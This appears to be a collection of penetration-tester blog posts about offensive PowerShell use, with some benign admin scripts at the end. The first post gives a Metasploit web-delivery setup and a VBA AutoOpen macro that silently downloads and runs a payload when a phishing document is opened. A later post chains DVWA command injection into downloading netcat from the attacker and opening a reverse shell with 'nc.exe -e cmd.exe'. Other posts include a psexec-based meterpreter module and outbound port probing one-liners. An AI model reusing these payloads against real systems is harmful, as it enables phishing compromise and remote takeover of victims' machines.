Phishing with PowerShell

I have seen quite a few tweets/comments/etc about using Powershell's functionality within the context of a Microsoft Office document/VBA (https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/blob/master/MacroCode). I am going to share a way I have been leveraging Powershell for payload delivery during phishing engagements for a while now to achieve the same end result in a much simpler fashion. The two stages are as follows:

Attacker Machine:

msf > use exploit/windows/misc/psh_web_delivery

msf exploit(psh_web_delivery) > set SRVHOST 172.16.5.11

msf exploit(psh_web_delivery) > set URIPATH boom

msf exploit(psh_web_delivery) > exploit

VBA Macro:

Sub AutoOpen()

    Call Shell("powershell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('http://172.16.5.11:8080/boom'))""", 1)

End Sub

*Note: If you are using a Excel document, your macro will need to be named Auto_Open()

Save the document as a macro-enabled file.
Send to target, and upon opening....

Meanwhile back at the bat cave...

This highlights yet another reason for defenders to lock down Powershell on workstations as much as possible.

Authenticated Metasploit Payloads via Powershell Psexec

I love powershell and in a windows environment, powershell is king. Add the ability to perform native code injection and sprinkle in some metasploit and the possibilities are endless. There is a really awesome collection of tools called Powersploit by @mattifestation . These are powershell scripts that take advantage of "features" of powershell to do some cool stuff.

@obscuresec is also a contributor to the powersploit project, and not too long ago he had a really cool blog post detailing one way to execute a meterpreter payload within a powershell process. I thought this idea was really cool so I decided to try and take a stab at writing a metasploit module that implements a slightly modified version of this technique.

Many times in a penetration test I find myself having valid credentials to a target machine, but my payload keeps getting busted when I try and upgrade my shell to meterpreter.

This module allows you to use metasploit's existing powershell encoded payloads, or you can specify a file to use that contains a powershell script (such as powersploit) that will be executed on the target machine within the powershell process using the LPATH variable.

At the very minimum, will need to set the LHOST, RHOST, ARCH, SMBUSER and SMBPASS variables.

And if all goes as planned...

Also we can see that the only thing spawned on the target machine is one powershell process:

You can find the module on github.

Quickly Determine Allowed Outbound Ports

I recently had a co-worker who needed to quickly determine the ports that were allowed outbound on a network. After some research, I stumbled upon @mubix 's awesome creation, being www.letmeoutofyour.net.

Using iptables and some apache-fu, he created a machine that will answer on each port that is connected to. This is nothing new, I just simply wanted to share a couple quick ways to find open outbound ports using native command shells and letmeoutofyour.net.

**Update: mubix has shut down letmeoutofyour.net (sadface). I have now modified the scripts to work with another site that does the same thing (open.zorinaq.com).

Windows

Powershell:

**Update: After talking with @mubix, I have rewritten this to reduce potential false positive scenarios associated with pre-routing/proxies

$ErrorActionPreference = "silentlycontinue"; 1..1024 | % {$req = [System.Net.WebRequest]::Create("http://open.zorinaq.com:$_"); req.Timeout = 600; $resp = $req.GetResponse(); $respstream = $resp.GetResponseStream(); $stream = new-object System.IO.StreamReader $respstream; $out = $stream.ReadToEnd(); if ($out.trim() | select-string "Yep"){echo "$_ Allowed out"}}

Cmd.exe (using netcat):

for /L %i in (1,1,1024) do @nc.exe -z -v open.zorinaq.com %i | findstr "Yep"


Linux

Bash (using netcat): for ((i=1; i<1024; i++)) do nc -z -v open.zorinaq.com $i | grep "Yep"; done

Python: 
https://github.com/jakxx/Scripts/blob/master/lemmeout.py

Retrieving Elusive Command Output

I have found myself on multiple pentests recently where I needed to retrieve (blind) command output from a remote machine. Blind remote command execution by itself is great, and you can do many evil thing to a machine without even having to view the output, but usually at some point during the attack lifecycle you will need to view command output (for example data exfiltration/shell upgrade). This post will assume the following things:

-Blind remote command execution has been verified (via icmp or some other method)
-You are attacking a web application
-You are attacking a windows host
-You wish to use native Window$ programs so you dont have to upload anything(more noise)

 The most common way to retrieve blind command output would be through FTP. This method works great, but for the sake of learning multiple ways to accomplish this I wanted a second way to view this command ouput. Our goal will be to upgrade to an interactive command prompt, allowing us to view command output.

Here is the setup:

Victim Machine: Win7 running DVWA (192.168.1.101)
Attacker Machine: Backtrack (192.168.1.107)

For this post, we will use to command execution vulnerability within DVWA as our initial "blind" command execution. I realize DVWA by default spits the cmd output back to you, but you can edit the PHP source code (and learn some more in the process) to make this a truly blind attack.

We will use the following payload to exploit the vulnerability:

127.0.0.1 | whoami

Now that we have established blind command execution, we need to use another tool native to Windows to grab a file for us. When it comes to Windows I do most things with Powershell, and have found a renewed love for it thanks to the awesome work from @mattifestation and @obscuresec with the PowerSploit project. Thus I wanted to use it to accomplish my goals. I needed a one-line Powershell command that would work similar to wget for linux. After some research, I came across this blog post that gave me what I needed. It goes something like this:

(new-object System.Net.WebClient).Downloadfile("http://attacker.com

/test.txt", "test.txt")

This command creates a new COM object for the System.Net.Webclient class and then uses the DownloadFile method passing it two parameters:
1) The location and name of the file you want to download
2) Where/what name you want to save it as on the local machine

Once I confirmed this command would reach out to my server, I put a netcat binary into the webserver root. 

Using this command (after modifying the quotes) and invoking the powershell.exe binary, I was able to pull netcat from my machine. The full command to the web application resulted in this:

127.0.0.1 | powershell.exe (new-object System.Net.WebClient).Downloadfile('http://192.168.1.107/nc.exe', 'nc.exe')

Then, once the command completed, I set up a netcat listener on my attacker machine and issued a second command to the web application to push a shell back to my attacker machine via netcat:

127.0.0.1 | nc.exe -e cmd.exe 192.168.1.107 21

In this post we used Powershell to go from blind/1-way command execution to an interactive windows shell allowing us to retrieve command output.

If you know of other ways to retrieve blind command execution output using native windows tools, please feel free to discuss in the comments.

Forefront Threat Management Gateway: IP list with Powershell

I needed to add a *large* list of IP addresses to an installation of Microsoft's Forefront Threat Management Gateway. I was going to try and do this through the GUI, but soon came to find out that I was not able to load ips from a file, and would need to type every IP range in MANUALLY. No thanks.....

Once again, it seems its Powershell to the rescue (at least when it comes to Micro$oft products). Powershell has a COM object that allows FTMG to be configured from powershell using various methods/arrays/objects.

There is not much (in fact, barely any) documentation on this, but I found some very useful info and examples from this site http://merddyn.wordpress.com/2009/05/05/managing-isa-with-powershell-primer/.

For this particular example, I was using a massive list from http://www.countryipblocks.net/ in the "IP Range Format". I just copied those addresses to a file on my machine.

/* Note: IF you choose to do a different format for the IP addresses other than
"192.168.5.1 - 192.168.5.255", this script will not work for you. You will have to do some editing to get yours working properly.*/

Here is the script I ended up with. I put #placeholders# for variables that you will need to fill in for your particular scenario.

  
$rootobject = New-object -com FPC.root
$array = $rootobject.getcontainingarray()
$file = "#ipfile.txt#"
$fileclean = cat $file | foreach-object {$_.split("-")} |
foreach-object {$_.trim()}
$networkname = "#networknamegoeshere#"
$i=1
$array.networkconfiguration.networks.add($networkname)
$fileclean | foreach-object {

           if ($i -eq 1){

                               $ip1 = $_
                        }

           if ($i -eq 2){
                               $ip2 = $_
             $array.networkconfiguration.Networks.item($networkname).IpRangeSet.add($ip1,$ip2)

                        }
       $i++; if ($i -eq 3) {$i = 1}

                            }
$array.networkconfiguration.save()
$array.applychanges()
 

Powershell custom find script

I have been recently playing with some file audit/data loss prevention type stuff and I had the need to search for certain filenames on a system fairly quickly. As a result, I wrote a little powershell script to do just that. It is nothing special, I just figured I would post it on here.

$location = read-host "Where do you want to look"
$string = read-host "Enter string to search for"

$temp = dir $location -recurse -ea 'SilentlyContinue' | ?{$_.name -match $string}
if ($temp.exists)
{echo "At least one file found.."
$temp.name
}
Elseif ($temp.count -gt 1){ echo "Found more than one file...."
$temp | foreach-object {echo $_.name}
}
else {echo "No files found"}